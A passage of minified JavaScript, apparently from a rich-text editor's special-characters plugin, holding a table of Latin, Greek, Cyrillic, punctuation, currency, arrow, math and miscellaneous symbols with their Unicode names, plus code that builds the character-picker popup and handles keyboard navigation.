CIRCUMFLEX"},{"char":"Ï",desc:"LATIN CAPITAL LETTER I WITH DIAERESIS"},{"char":"Ð",desc:"LATIN CAPITAL LETTER ETH"},{"char":"Ñ",desc:"LATIN CAPITAL LETTER N WITH TILDE"},{"char":"Ò",desc:"LATIN CAPITAL LETTER O WITH GRAVE"},{"char":"Ó",desc:"LATIN CAPITAL LETTER O WITH ACUTE"},{"char":"Ô",desc:"LATIN CAPITAL LETTER O WITH CIRCUMFLEX"},{"char":"Õ",desc:"LATIN CAPITAL LETTER O WITH TILDE"},{"char":"Ö",desc:"LATIN CAPITAL LETTER O WITH DIAERESIS"},{"char":"×",desc:"MULTIPLICATION SIGN"},{"char":"Ø",desc:"LATIN CAPITAL LETTER O WITH STROKE"},{"char":"Ù",desc:"LATIN CAPITAL LETTER U WITH GRAVE"},{"char":"Ú",desc:"LATIN CAPITAL LETTER U WITH ACUTE"},{"char":"Û",desc:"LATIN CAPITAL LETTER U WITH CIRCUMFLEX"},{"char":"Ü",desc:"LATIN CAPITAL LETTER U WITH DIAERESIS"},{"char":"Ý",desc:"LATIN CAPITAL LETTER Y WITH ACUTE"},{"char":"Þ",desc:"LATIN CAPITAL LETTER THORN"},{"char":"ß",desc:"LATIN SMALL LETTER SHARP S"},{"char":"à",desc:"LATIN SMALL LETTER A WITH GRAVE"},{"char":"á",desc:"LATIN SMALL LETTER A WITH ACUTE "},{"char":"â",desc:"LATIN SMALL LETTER A WITH CIRCUMFLEX"},{"char":"ã",desc:"LATIN SMALL LETTER A WITH TILDE"},{"char":"ä",desc:"LATIN SMALL LETTER A WITH DIAERESIS"},{"char":"å",desc:"LATIN SMALL LETTER A WITH RING ABOVE"},{"char":"æ",desc:"LATIN SMALL LETTER AE"},{"char":"ç",desc:"LATIN SMALL LETTER C WITH CEDILLA"},{"char":"è",desc:"LATIN SMALL LETTER E WITH GRAVE"},{"char":"é",desc:"LATIN SMALL LETTER E WITH ACUTE"},{"char":"ê",desc:"LATIN SMALL LETTER E WITH CIRCUMFLEX"},{"char":"ë",desc:"LATIN SMALL LETTER E WITH DIAERESIS"},{"char":"ì",desc:"LATIN SMALL LETTER I WITH GRAVE"},{"char":"í",desc:"LATIN SMALL LETTER I WITH ACUTE"},{"char":"î",desc:"LATIN SMALL LETTER I WITH CIRCUMFLEX"},{"char":"ï",desc:"LATIN SMALL LETTER I WITH DIAERESIS"},{"char":"ð",desc:"LATIN SMALL LETTER ETH"},{"char":"ñ",desc:"LATIN SMALL LETTER N WITH TILDE"},{"char":"ò",desc:"LATIN SMALL LETTER O WITH GRAVE"},{"char":"ó",desc:"LATIN SMALL LETTER O WITH ACUTE"},{"char":"ô",desc:"LATIN SMALL LETTER O WITH CIRCUMFLEX"},{"char":"õ",desc:"LATIN SMALL LETTER O WITH TILDE"},{"char":"ö",desc:"LATIN SMALL LETTER O WITH DIAERESIS"},{"char":"÷",desc:"DIVISION SIGN"},{"char":"ø",desc:"LATIN SMALL LETTER O WITH STROKE"},{"char":"ù",desc:"LATIN SMALL LETTER U WITH GRAVE"},{"char":"ú",desc:"LATIN SMALL LETTER U WITH ACUTE"},{"char":"û",desc:"LATIN SMALL LETTER U WITH CIRCUMFLEX"},{"char":"ü",desc:"LATIN SMALL LETTER U WITH DIAERESIS"},{"char":"ý",desc:"LATIN SMALL LETTER Y WITH ACUTE"},{"char":"þ",desc:"LATIN SMALL LETTER THORN"},{"char":"ÿ",desc:"LATIN SMALL LETTER Y WITH DIAERESIS"}]},{title:"Greek","char":"Α",list:[{"char":"Α",desc:"GREEK CAPITAL LETTER ALPHA"},{"char":"Β",desc:"GREEK CAPITAL LETTER BETA"},{"char":"Γ",desc:"GREEK CAPITAL LETTER GAMMA"},{"char":"Δ",desc:"GREEK CAPITAL LETTER DELTA"},{"char":"Ε",desc:"GREEK CAPITAL LETTER EPSILON"},{"char":"Ζ",desc:"GREEK CAPITAL LETTER ZETA"},{"char":"Η",desc:"GREEK CAPITAL LETTER ETA"},{"char":"Θ",desc:"GREEK CAPITAL LETTER THETA"},{"char":"Ι",desc:"GREEK CAPITAL LETTER IOTA"},{"char":"Κ",desc:"GREEK CAPITAL LETTER KAPPA"},{"char":"Λ",desc:"GREEK CAPITAL LETTER LAMBDA"},{"char":"Μ",desc:"GREEK CAPITAL LETTER MU"},{"char":"Ν",desc:"GREEK CAPITAL LETTER NU"},{"char":"Ξ",desc:"GREEK CAPITAL LETTER XI"},{"char":"Ο",desc:"GREEK CAPITAL LETTER OMICRON"},{"char":"Π",desc:"GREEK CAPITAL LETTER PI"},{"char":"Ρ",desc:"GREEK CAPITAL LETTER RHO"},{"char":"Σ",desc:"GREEK CAPITAL LETTER SIGMA"},{"char":"Τ",desc:"GREEK CAPITAL LETTER TAU"},{"char":"Υ",desc:"GREEK CAPITAL LETTER UPSILON"},{"char":"Φ",desc:"GREEK CAPITAL LETTER PHI"},{"char":"Χ",desc:"GREEK CAPITAL LETTER CHI"},{"char":"Ψ",desc:"GREEK CAPITAL LETTER PSI"},{"char":"Ω",desc:"GREEK CAPITAL LETTER OMEGA"},{"char":"α",desc:"GREEK SMALL LETTER ALPHA"},{"char":"β",desc:"GREEK SMALL LETTER BETA"},{"char":"γ",desc:"GREEK SMALL LETTER GAMMA"},{"char":"δ",desc:"GREEK SMALL LETTER DELTA"},{"char":"ε",desc:"GREEK SMALL LETTER EPSILON"},{"char":"ζ",desc:"GREEK SMALL LETTER ZETA"},{"char":"η",desc:"GREEK SMALL LETTER ETA"},{"char":"θ",desc:"GREEK SMALL LETTER THETA"},{"char":"ι",desc:"GREEK SMALL LETTER IOTA"},{"char":"κ",desc:"GREEK SMALL LETTER KAPPA"},{"char":"λ",desc:"GREEK SMALL LETTER LAMBDA"},{"char":"μ",desc:"GREEK SMALL LETTER MU"},{"char":"ν",desc:"GREEK SMALL LETTER NU"},{"char":"ξ",desc:"GREEK SMALL LETTER XI"},{"char":"ο",desc:"GREEK SMALL LETTER OMICRON"},{"char":"π",desc:"GREEK SMALL LETTER PI"},{"char":"ρ",desc:"GREEK SMALL LETTER RHO"},{"char":"ς",desc:"GREEK SMALL LETTER FINAL SIGMA"},{"char":"σ",desc:"GREEK SMALL LETTER SIGMA"},{"char":"τ",desc:"GREEK SMALL LETTER TAU"},{"char":"υ",desc:"GREEK SMALL LETTER UPSILON"},{"char":"φ",desc:"GREEK SMALL LETTER PHI"},{"char":"χ",desc:"GREEK SMALL LETTER CHI"},{"char":"ψ",desc:"GREEK SMALL LETTER PSI"},{"char":"ω",desc:"GREEK SMALL LETTER OMEGA"},{"char":"ϑ",desc:"GREEK THETA SYMBOL"},{"char":"ϒ",desc:"GREEK UPSILON WITH HOOK SYMBOL"},{"char":"ϕ",desc:"GREEK PHI SYMBOL"},{"char":"ϖ",desc:"GREEK PI SYMBOL"},{"char":"Ϝ",desc:"GREEK LETTER DIGAMMA"},{"char":"ϝ",desc:"GREEK SMALL LETTER DIGAMMA"},{"char":"ϰ",desc:"GREEK KAPPA SYMBOL"},{"char":"ϱ",desc:"GREEK RHO SYMBOL"},{"char":"ϵ",desc:"GREEK LUNATE EPSILON SYMBOL"},{"char":"϶",desc:"GREEK REVERSED LUNATE EPSILON SYMBOL"}]},{title:"Cyrillic","char":"Ѐ",list:[{"char":"Ѐ",desc:"CYRILLIC CAPITAL LETTER IE WITH GRAVE"},{"char":"Ё",desc:"CYRILLIC CAPITAL LETTER IO"},{"char":"Ђ",desc:"CYRILLIC CAPITAL LETTER DJE"},{"char":"Ѓ",desc:"CYRILLIC CAPITAL LETTER GJE"},{"char":"Є",desc:"CYRILLIC CAPITAL LETTER UKRAINIAN IE"},{"char":"Ѕ",desc:"CYRILLIC CAPITAL LETTER DZE"},{"char":"І",desc:"CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I"},{"char":"Ї",desc:"CYRILLIC CAPITAL LETTER YI"},{"char":"Ј",desc:"CYRILLIC CAPITAL LETTER JE"},{"char":"Љ",desc:"CYRILLIC CAPITAL LETTER LJE"},{"char":"Њ",desc:"CYRILLIC CAPITAL LETTER NJE"},{"char":"Ћ",desc:"CYRILLIC CAPITAL LETTER TSHE"},{"char":"Ќ",desc:"CYRILLIC CAPITAL LETTER KJE"},{"char":"Ѝ",desc:"CYRILLIC CAPITAL LETTER I WITH GRAVE"},{"char":"Ў",desc:"CYRILLIC CAPITAL LETTER SHORT U"},{"char":"Џ",desc:"CYRILLIC CAPITAL LETTER DZHE"},{"char":"А",desc:"CYRILLIC CAPITAL LETTER A"},{"char":"Б",desc:"CYRILLIC CAPITAL LETTER BE"},{"char":"В",desc:"CYRILLIC CAPITAL LETTER VE"},{"char":"Г",desc:"CYRILLIC CAPITAL LETTER GHE"},{"char":"Д",desc:"CYRILLIC CAPITAL LETTER DE"},{"char":"Е",desc:"CYRILLIC CAPITAL LETTER IE"},{"char":"Ж",desc:"CYRILLIC CAPITAL LETTER ZHE"},{"char":"З",desc:"CYRILLIC CAPITAL LETTER ZE"},{"char":"И",desc:"CYRILLIC CAPITAL LETTER I"},{"char":"Й",desc:"CYRILLIC CAPITAL LETTER SHORT I"},{"char":"К",desc:"CYRILLIC CAPITAL LETTER KA"},{"char":"Л",desc:"CYRILLIC CAPITAL LETTER EL"},{"char":"М",desc:"CYRILLIC CAPITAL LETTER EM"},{"char":"Н",desc:"CYRILLIC CAPITAL LETTER EN"},{"char":"О",desc:"CYRILLIC CAPITAL LETTER O"},{"char":"П",desc:"CYRILLIC CAPITAL LETTER PE"},{"char":"Р",desc:"CYRILLIC CAPITAL LETTER ER"},{"char":"С",desc:"CYRILLIC CAPITAL LETTER ES"},{"char":"Т",desc:"CYRILLIC CAPITAL LETTER TE"},{"char":"У",desc:"CYRILLIC CAPITAL LETTER U"},{"char":"Ф",desc:"CYRILLIC CAPITAL LETTER EF"},{"char":"Х",desc:"CYRILLIC CAPITAL LETTER HA"},{"char":"Ц",desc:"CYRILLIC CAPITAL LETTER TSE"},{"char":"Ч",desc:"CYRILLIC CAPITAL LETTER CHE"},{"char":"Ш",desc:"CYRILLIC CAPITAL LETTER SHA"},{"char":"Щ",desc:"CYRILLIC CAPITAL LETTER SHCHA"},{"char":"Ъ",desc:"CYRILLIC CAPITAL LETTER HARD SIGN"},{"char":"Ы",desc:"CYRILLIC CAPITAL LETTER YERU"},{"char":"Ь",desc:"CYRILLIC CAPITAL LETTER SOFT SIGN"},{"char":"Э",desc:"CYRILLIC CAPITAL LETTER E"},{"char":"Ю",desc:"CYRILLIC CAPITAL LETTER YU"},{"char":"Я",desc:"CYRILLIC CAPITAL LETTER YA"},{"char":"а",desc:"CYRILLIC SMALL LETTER A"},{"char":"б",desc:"CYRILLIC SMALL LETTER BE"},{"char":"в",desc:"CYRILLIC SMALL LETTER VE"},{"char":"г",desc:"CYRILLIC SMALL LETTER GHE"},{"char":"д",desc:"CYRILLIC SMALL LETTER DE"},{"char":"е",desc:"CYRILLIC SMALL LETTER IE"},{"char":"ж",desc:"CYRILLIC SMALL LETTER ZHE"},{"char":"з",desc:"CYRILLIC SMALL LETTER ZE"},{"char":"и",desc:"CYRILLIC SMALL LETTER I"},{"char":"й",desc:"CYRILLIC SMALL LETTER SHORT I"},{"char":"к",desc:"CYRILLIC SMALL LETTER KA"},{"char":"л",desc:"CYRILLIC SMALL LETTER EL"},{"char":"м",desc:"CYRILLIC SMALL LETTER EM"},{"char":"н",desc:"CYRILLIC SMALL LETTER EN"},{"char":"о",desc:"CYRILLIC SMALL LETTER O"},{"char":"п",desc:"CYRILLIC SMALL LETTER PE"},{"char":"р",desc:"CYRILLIC SMALL LETTER ER"},{"char":"с",desc:"CYRILLIC SMALL LETTER ES"},{"char":"т",desc:"CYRILLIC SMALL LETTER TE"},{"char":"у",desc:"CYRILLIC SMALL LETTER U"},{"char":"ф",desc:"CYRILLIC SMALL LETTER EF"},{"char":"х",desc:"CYRILLIC SMALL LETTER HA"},{"char":"ц",desc:"CYRILLIC SMALL LETTER TSE"},{"char":"ч",desc:"CYRILLIC SMALL LETTER CHE"},{"char":"ш",desc:"CYRILLIC SMALL LETTER SHA"},{"char":"щ",desc:"CYRILLIC SMALL LETTER SHCHA"},{"char":"ъ",desc:"CYRILLIC SMALL LETTER HARD SIGN"},{"char":"ы",desc:"CYRILLIC SMALL LETTER YERU"},{"char":"ь",desc:"CYRILLIC SMALL LETTER SOFT SIGN"},{"char":"э",desc:"CYRILLIC SMALL LETTER E"},{"char":"ю",desc:"CYRILLIC SMALL LETTER YU"},{"char":"я",desc:"CYRILLIC SMALL LETTER YA"},{"char":"ѐ",desc:"CYRILLIC SMALL LETTER IE WITH GRAVE"},{"char":"ё",desc:"CYRILLIC SMALL LETTER IO"},{"char":"ђ",desc:"CYRILLIC SMALL LETTER DJE"},{"char":"ѓ",desc:"CYRILLIC SMALL LETTER GJE"},{"char":"є",desc:"CYRILLIC SMALL LETTER UKRAINIAN IE"},{"char":"ѕ",desc:"CYRILLIC SMALL LETTER DZE"},{"char":"і",desc:"CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I"},{"char":"ї",desc:"CYRILLIC SMALL LETTER YI"},{"char":"ј",desc:"CYRILLIC SMALL LETTER JE"},{"char":"љ",desc:"CYRILLIC SMALL LETTER LJE"},{"char":"њ",desc:"CYRILLIC SMALL LETTER NJE"},{"char":"ћ",desc:"CYRILLIC SMALL LETTER TSHE"},{"char":"ќ",desc:"CYRILLIC SMALL LETTER KJE"},{"char":"ѝ",desc:"CYRILLIC SMALL LETTER I WITH GRAVE"},{"char":"ў",desc:"CYRILLIC SMALL LETTER SHORT U"},{"char":"џ",desc:"CYRILLIC SMALL LETTER DZHE"}]},{title:"Punctuation","char":"–",list:[{"char":"–",desc:"EN DASH"},{"char":"—",desc:"EM DASH"},{"char":"‘",desc:"LEFT SINGLE QUOTATION MARK"},{"char":"’",desc:"RIGHT SINGLE QUOTATION MARK"},{"char":"‚",desc:"SINGLE LOW-9 QUOTATION MARK"},{"char":"“",desc:"LEFT DOUBLE QUOTATION MARK"},{"char":"”",desc:"RIGHT DOUBLE QUOTATION MARK"},{"char":"„",desc:"DOUBLE LOW-9 QUOTATION MARK"},{"char":"†",desc:"DAGGER"},{"char":"‡",desc:"DOUBLE DAGGER"},{"char":"•",desc:"BULLET"},{"char":"…",desc:"HORIZONTAL ELLIPSIS"},{"char":"‰",desc:"PER MILLE SIGN"},{"char":"′",desc:"PRIME"},{"char":"″",desc:"DOUBLE PRIME"},{"char":"‹",desc:"SINGLE LEFT-POINTING ANGLE QUOTATION MARK"},{"char":"›",desc:"SINGLE RIGHT-POINTING ANGLE QUOTATION MARK"},{"char":"‾",desc:"OVERLINE"},{"char":"⁄",desc:"FRACTION SLASH"}]},{title:"Currency","char":"₠",list:[{"char":"₠",desc:"EURO-CURRENCY SIGN"},{"char":"₡",desc:"COLON SIGN"},{"char":"₢",desc:"CRUZEIRO SIGN"},{"char":"₣",desc:"FRENCH FRANC SIGN"},{"char":"₤",desc:"LIRA SIGN"},{"char":"₥",desc:"MILL SIGN"},{"char":"₦",desc:"NAIRA SIGN"},{"char":"₧",desc:"PESETA SIGN"},{"char":"₨",desc:"RUPEE SIGN"},{"char":"₩",desc:"WON SIGN"},{"char":"₪",desc:"NEW SHEQEL SIGN"},{"char":"₫",desc:"DONG SIGN"},{"char":"€",desc:"EURO SIGN"},{"char":"₭",desc:"KIP SIGN"},{"char":"₮",desc:"TUGRIK SIGN"},{"char":"₯",desc:"DRACHMA SIGN"},{"char":"₰",desc:"GERMAN PENNY SYMBOL"},{"char":"₱",desc:"PESO SIGN"},{"char":"₲",desc:"GUARANI SIGN"},{"char":"₳",desc:"AUSTRAL SIGN"},{"char":"₴",desc:"HRYVNIA SIGN"},{"char":"₵",desc:"CEDI SIGN"},{"char":"₶",desc:"LIVRE TOURNOIS SIGN"},{"char":"₷",desc:"SPESMILO SIGN"},{"char":"₸",desc:"TENGE SIGN"},{"char":"₹",desc:"INDIAN RUPEE SIGN"}]},{title:"Arrows","char":"←",list:[{"char":"←",desc:"LEFTWARDS ARROW"},{"char":"↑",desc:"UPWARDS ARROW"},{"char":"→",desc:"RIGHTWARDS ARROW"},{"char":"↓",desc:"DOWNWARDS ARROW"},{"char":"↔",desc:"LEFT RIGHT ARROW"},{"char":"↕",desc:"UP DOWN ARROW"},{"char":"↖",desc:"NORTH WEST ARROW"},{"char":"↗",desc:"NORTH EAST ARROW"},{"char":"↘",desc:"SOUTH EAST ARROW"},{"char":"↙",desc:"SOUTH WEST ARROW"},{"char":"↚",desc:"LEFTWARDS ARROW WITH STROKE"},{"char":"↛",desc:"RIGHTWARDS ARROW WITH STROKE"},{"char":"↜",desc:"LEFTWARDS WAVE ARROW"},{"char":"↝",desc:"RIGHTWARDS WAVE ARROW"},{"char":"↞",desc:"LEFTWARDS TWO HEADED ARROW"},{"char":"↟",desc:"UPWARDS TWO HEADED ARROW"},{"char":"↠",desc:"RIGHTWARDS TWO HEADED ARROW"},{"char":"↡",desc:"DOWNWARDS TWO HEADED ARROW"},{"char":"↢",desc:"LEFTWARDS ARROW WITH TAIL"},{"char":"↣",desc:"RIGHTWARDS ARROW WITH TAIL"},{"char":"↤",desc:"LEFTWARDS ARROW FROM BAR"},{"char":"↥",desc:"UPWARDS ARROW FROM BAR"},{"char":"↦",desc:"RIGHTWARDS ARROW FROM BAR"},{"char":"↧",desc:"DOWNWARDS ARROW FROM BAR"},{"char":"↨",desc:"UP DOWN ARROW WITH BASE"},{"char":"↩",desc:"LEFTWARDS ARROW WITH HOOK"},{"char":"↪",desc:"RIGHTWARDS ARROW WITH HOOK"},{"char":"↫",desc:"LEFTWARDS ARROW WITH LOOP"},{"char":"↬",desc:"RIGHTWARDS ARROW WITH LOOP"},{"char":"↭",desc:"LEFT RIGHT WAVE ARROW"},{"char":"↮",desc:"LEFT RIGHT ARROW WITH STROKE"},{"char":"↯",desc:"DOWNWARDS ZIGZAG ARROW"},{"char":"↰",desc:"UPWARDS ARROW WITH TIP LEFTWARDS"},{"char":"↱",desc:"UPWARDS ARROW WITH TIP RIGHTWARDS"},{"char":"↲",desc:"DOWNWARDS ARROW WITH TIP LEFTWARDS"},{"char":"↳",desc:"DOWNWARDS ARROW WITH TIP RIGHTWARDS"},{"char":"↴",desc:"RIGHTWARDS ARROW WITH CORNER DOWNWARDS"},{"char":"↵",desc:"DOWNWARDS ARROW WITH CORNER LEFTWARDS"},{"char":"↶",desc:"ANTICLOCKWISE TOP SEMICIRCLE ARROW"},{"char":"↷",desc:"CLOCKWISE TOP SEMICIRCLE ARROW"},{"char":"↸",desc:"NORTH WEST ARROW TO LONG BAR"},{"char":"↹",desc:"LEFTWARDS ARROW TO BAR OVER RIGHTWARDS ARROW TO BAR"},{"char":"↺",desc:"ANTICLOCKWISE OPEN CIRCLE ARROW"},{"char":"↻",desc:"CLOCKWISE OPEN CIRCLE ARROW"},{"char":"↼",desc:"LEFTWARDS HARPOON WITH BARB UPWARDS"},{"char":"↽",desc:"LEFTWARDS HARPOON WITH BARB DOWNWARDS"},{"char":"↾",desc:"UPWARDS HARPOON WITH BARB RIGHTWARDS"},{"char":"↿",desc:"UPWARDS HARPOON WITH BARB LEFTWARDS"},{"char":"⇀",desc:"RIGHTWARDS HARPOON WITH BARB UPWARDS"},{"char":"⇁",desc:"RIGHTWARDS HARPOON WITH BARB DOWNWARDS"},{"char":"⇂",desc:"DOWNWARDS HARPOON WITH BARB RIGHTWARDS"},{"char":"⇃",desc:"DOWNWARDS HARPOON WITH BARB LEFTWARDS"},{"char":"⇄",desc:"RIGHTWARDS ARROW OVER LEFTWARDS ARROW"},{"char":"⇅",desc:"UPWARDS ARROW LEFTWARDS OF DOWNWARDS ARROW"},{"char":"⇆",desc:"LEFTWARDS ARROW OVER RIGHTWARDS ARROW"},{"char":"⇇",desc:"LEFTWARDS PAIRED ARROWS"},{"char":"⇈",desc:"UPWARDS PAIRED ARROWS"},{"char":"⇉",desc:"RIGHTWARDS PAIRED ARROWS"},{"char":"⇊",desc:"DOWNWARDS PAIRED ARROWS"},{"char":"⇋",desc:"LEFTWARDS HARPOON OVER RIGHTWARDS HARPOON"},{"char":"⇌",desc:"RIGHTWARDS HARPOON OVER LEFTWARDS HARPOON"},{"char":"⇍",desc:"LEFTWARDS DOUBLE ARROW WITH STROKE"},{"char":"⇎",desc:"LEFT RIGHT DOUBLE ARROW WITH STROKE"},{"char":"⇏",desc:"RIGHTWARDS DOUBLE ARROW WITH STROKE"},{"char":"⇐",desc:"LEFTWARDS DOUBLE ARROW"},{"char":"⇑",desc:"UPWARDS DOUBLE ARROW"},{"char":"⇒",desc:"RIGHTWARDS DOUBLE ARROW"},{"char":"⇓",desc:"DOWNWARDS DOUBLE ARROW"},{"char":"⇔",desc:"LEFT RIGHT DOUBLE ARROW"},{"char":"⇕",desc:"UP DOWN DOUBLE ARROW"},{"char":"⇖",desc:"NORTH WEST DOUBLE ARROW"},{"char":"⇗",desc:"NORTH EAST DOUBLE ARROW"},{"char":"⇘",desc:"SOUTH EAST DOUBLE ARROW"},{"char":"⇙",desc:"SOUTH WEST DOUBLE ARROW"},{"char":"⇚",desc:"LEFTWARDS TRIPLE ARROW"},{"char":"⇛",desc:"RIGHTWARDS TRIPLE ARROW"},{"char":"⇜",desc:"LEFTWARDS SQUIGGLE ARROW"},{"char":"⇝",desc:"RIGHTWARDS SQUIGGLE ARROW"},{"char":"⇞",desc:"UPWARDS ARROW WITH DOUBLE STROKE"},{"char":"⇟",desc:"DOWNWARDS ARROW WITH DOUBLE STROKE"},{"char":"⇠",desc:"LEFTWARDS DASHED ARROW"},{"char":"⇡",desc:"UPWARDS DASHED ARROW"},{"char":"⇢",desc:"RIGHTWARDS DASHED ARROW"},{"char":"⇣",desc:"DOWNWARDS DASHED ARROW"},{"char":"⇤",desc:"LEFTWARDS ARROW TO BAR"},{"char":"⇥",desc:"RIGHTWARDS ARROW TO BAR"},{"char":"⇦",desc:"LEFTWARDS WHITE ARROW"},{"char":"⇧",desc:"UPWARDS WHITE ARROW"},{"char":"⇨",desc:"RIGHTWARDS WHITE ARROW"},{"char":"⇩",desc:"DOWNWARDS WHITE ARROW"},{"char":"⇪",desc:"UPWARDS WHITE ARROW FROM BAR"},{"char":"⇫",desc:"UPWARDS WHITE ARROW ON PEDESTAL"},{"char":"⇬",desc:"UPWARDS WHITE ARROW ON PEDESTAL WITH HORIZONTAL BAR"},{"char":"⇭",desc:"UPWARDS WHITE ARROW ON PEDESTAL WITH VERTICAL BAR"},{"char":"⇮",desc:"UPWARDS WHITE DOUBLE ARROW"},{"char":"⇯",desc:"UPWARDS WHITE DOUBLE ARROW ON PEDESTAL"},{"char":"⇰",desc:"RIGHTWARDS WHITE ARROW FROM WALL"},{"char":"⇱",desc:"NORTH WEST ARROW TO CORNER"},{"char":"⇲",desc:"SOUTH EAST ARROW TO CORNER"},{"char":"⇳",desc:"UP DOWN WHITE ARROW"},{"char":"⇴",desc:"RIGHT ARROW WITH SMALL CIRCLE"},{"char":"⇵",desc:"DOWNWARDS ARROW LEFTWARDS OF UPWARDS ARROW"},{"char":"⇶",desc:"THREE RIGHTWARDS ARROWS"},{"char":"⇷",desc:"LEFTWARDS ARROW WITH VERTICAL STROKE"},{"char":"⇸",desc:"RIGHTWARDS ARROW WITH VERTICAL STROKE"},{"char":"⇹",desc:"LEFT RIGHT ARROW WITH VERTICAL STROKE"},{"char":"⇺",desc:"LEFTWARDS ARROW WITH DOUBLE VERTICAL STROKE"},{"char":"⇻",desc:"RIGHTWARDS ARROW WITH DOUBLE VERTICAL STROKE"},{"char":"⇼",desc:"LEFT RIGHT ARROW WITH DOUBLE VERTICAL STROKE"},{"char":"⇽",desc:"LEFTWARDS OPEN-HEADED ARROW"},{"char":"⇾",desc:"RIGHTWARDS OPEN-HEADED ARROW"},{"char":"⇿",desc:"LEFT RIGHT OPEN-HEADED ARROW"}]},{title:"Math","char":"∀",list:[{"char":"∀",desc:"FOR ALL"},{"char":"∂",desc:"PARTIAL DIFFERENTIAL"},{"char":"∃",desc:"THERE EXISTS"},{"char":"∅",desc:"EMPTY SET"},{"char":"∇",desc:"NABLA"},{"char":"∈",desc:"ELEMENT OF"},{"char":"∉",desc:"NOT AN ELEMENT OF"},{"char":"∋",desc:"CONTAINS AS MEMBER"},{"char":"∏",desc:"N-ARY PRODUCT"},{"char":"∑",desc:"N-ARY SUMMATION"},{"char":"−",desc:"MINUS SIGN"},{"char":"∗",desc:"ASTERISK OPERATOR"},{"char":"√",desc:"SQUARE ROOT"},{"char":"∝",desc:"PROPORTIONAL TO"},{"char":"∞",desc:"INFINITY"},{"char":"∠",desc:"ANGLE"},{"char":"∧",desc:"LOGICAL AND"},{"char":"∨",desc:"LOGICAL OR"},{"char":"∩",desc:"INTERSECTION"},{"char":"∪",desc:"UNION"},{"char":"∫",desc:"INTEGRAL"},{"char":"∴",desc:"THEREFORE"},{"char":"∼",desc:"TILDE OPERATOR"},{"char":"≅",desc:"APPROXIMATELY EQUAL TO"},{"char":"≈",desc:"ALMOST EQUAL TO"},{"char":"≠",desc:"NOT EQUAL TO"},{"char":"≡",desc:"IDENTICAL TO"},{"char":"≤",desc:"LESS-THAN OR EQUAL TO"},{"char":"≥",desc:"GREATER-THAN OR EQUAL TO"},{"char":"⊂",desc:"SUBSET OF"},{"char":"⊃",desc:"SUPERSET OF"},{"char":"⊄",desc:"NOT A SUBSET OF"},{"char":"⊆",desc:"SUBSET OF OR EQUAL TO"},{"char":"⊇",desc:"SUPERSET OF OR EQUAL TO"},{"char":"⊕",desc:"CIRCLED PLUS"},{"char":"⊗",desc:"CIRCLED TIMES"},{"char":"⊥",desc:"UP TACK"}]},{title:"Misc","char":"♠",list:[{"char":"♠",desc:"BLACK SPADE SUIT"},{"char":"♣",desc:"BLACK CLUB SUIT"},{"char":"♥",desc:"BLACK HEART SUIT"},{"char":"♦",desc:"BLACK DIAMOND SUIT"},{"char":"♩",desc:"QUARTER NOTE"},{"char":"♪",desc:"EIGHTH NOTE"},{"char":"♫",desc:"BEAMED EIGHTH NOTES"},{"char":"♬",desc:"BEAMED SIXTEENTH NOTES"},{"char":"♭",desc:"MUSIC FLAT SIGN"},{"char":"♮",desc:"MUSIC NATURAL SIGN"},{"char":"☀",desc:"BLACK SUN WITH RAYS"},{"char":"☁",desc:"CLOUD"},{"char":"☂",desc:"UMBRELLA"},{"char":"☃",desc:"SNOWMAN"},{"char":"☕",desc:"HOT BEVERAGE"},{"char":"☘",desc:"SHAMROCK"},{"char":"☯",desc:"YIN YANG"},{"char":"✔",desc:"HEAVY CHECK MARK"},{"char":"✖",desc:"HEAVY MULTIPLICATION X"},{"char":"❄",desc:"SNOWFLAKE"},{"char":"❛",desc:"HEAVY SINGLE TURNED COMMA QUOTATION MARK ORNAMENT"},{"char":"❜",desc:"HEAVY SINGLE COMMA QUOTATION MARK ORNAMENT"},{"char":"❝",desc:"HEAVY DOUBLE TURNED COMMA QUOTATION MARK ORNAMENT"},{"char":"❞",desc:"HEAVY DOUBLE COMMA QUOTATION MARK ORNAMENT"},{"char":"❤",desc:"HEAVY BLACK HEART"}]}],specialCharButtons:["specialCharBack","|"]}),Object.assign(St.POPUP_TEMPLATES,{specialCharacters:"[_BUTTONS_][_CUSTOM_LAYER_]"}),St.PLUGINS.specialCharacters=function(E){var _=E.$,e=E.opts.specialCharactersSets,r=E.opts.specialCharactersSets[0],o="";function s(){return'\n <div class="fr-buttons fr-tabs fr-tabs-scroll">\n '.concat(function t(e,a){var n="";return e.forEach(function(e){var t={elementClass:e.title===a.title?"fr-active fr-active-tab":"",title:e.title,dataParam1:e.title,desc:e["char"]};n+='<button class="fr-command fr-btn fr-special-character-category '.concat(t.elementClass,'" title="').concat(t.title,'" data-cmd="setSpecialCharacterCategory" data-param1="').concat(t.dataParam1,'"><span>').concat(t.desc,"</span></button>")}),n}(e,r),'\n </div>\n <div class="fr-icon-container fr-sc-container" style="outline: none;">\n ').concat(function n(e){var a="";return e.list.forEach(function(e){var t={dataParam1:e["char"],title:e.desc,splCharValue:e["char"]};a+='<span class="fr-command fr-special-character fr-icon" role="button" \n data-cmd="insertSpecialCharacter" data-param1="'.concat(t.dataParam1,'" tabindex="0"\n title="').concat(t.title,'">').concat(t.splCharValue,"</span>")}),a}(r),"\n </div>")}return{setSpecialCharacterCategory:function n(t){r=e.filter(function(e){return e.title===t})[0],function a(){E.popups.get("specialCharacters").html(o+s());var e=E.popups.get("specialCharacters").children().not(".fr-buttons");E.accessibility.registerPopup("specialCharacters"),E.accessibility.focusContent(e)}()},showSpecialCharsPopup:function l(){var e=E.popups.get("specialCharacters");if(e||(e=function i(){E.opts.toolbarInline&&0<E.opts.specialCharButtons.length&&(o='<div class="fr-buttons fr-tabs">'.concat(E.button.buildList(E.opts.specialCharButtons),"</div>"));var e={buttons:o,custom_layer:s()},t=E.popups.create("specialCharacters",e);return function a(b){E.events.on("popup.tab",function(e){var t=_(e.currentTarget);if(!E.popups.isVisible("specialCharacters")||!t.is("span, a"))return!0;var a,n,r,i=e.which,o=window.getComputedStyle(b.find(".fr-icon-container")[0]),s=o.getPropertyValue("grid-template-columns").split(" ").length;if(St.KEYCODE.TAB==i){var l=b.find("span.fr-special-character");if(t.is(l.first())&&e.shiftKey||t.is(l.last())&&!e.shiftKey){var c=b.find(".fr-buttons");a=!E.accessibility.focusToolbar(c,!!e.shiftKey)}if(!1!==a){var d=b.find("span.fr-special-character");d.add(b.find("button.fr-btn")),n=d.index(t),n=e.shiftKey?((n-1)%d.length+d.length)%d.length:(n+1)%d.length,r=d.get(n),E.events.disableBlur(),r.focus(),a=!1}}else 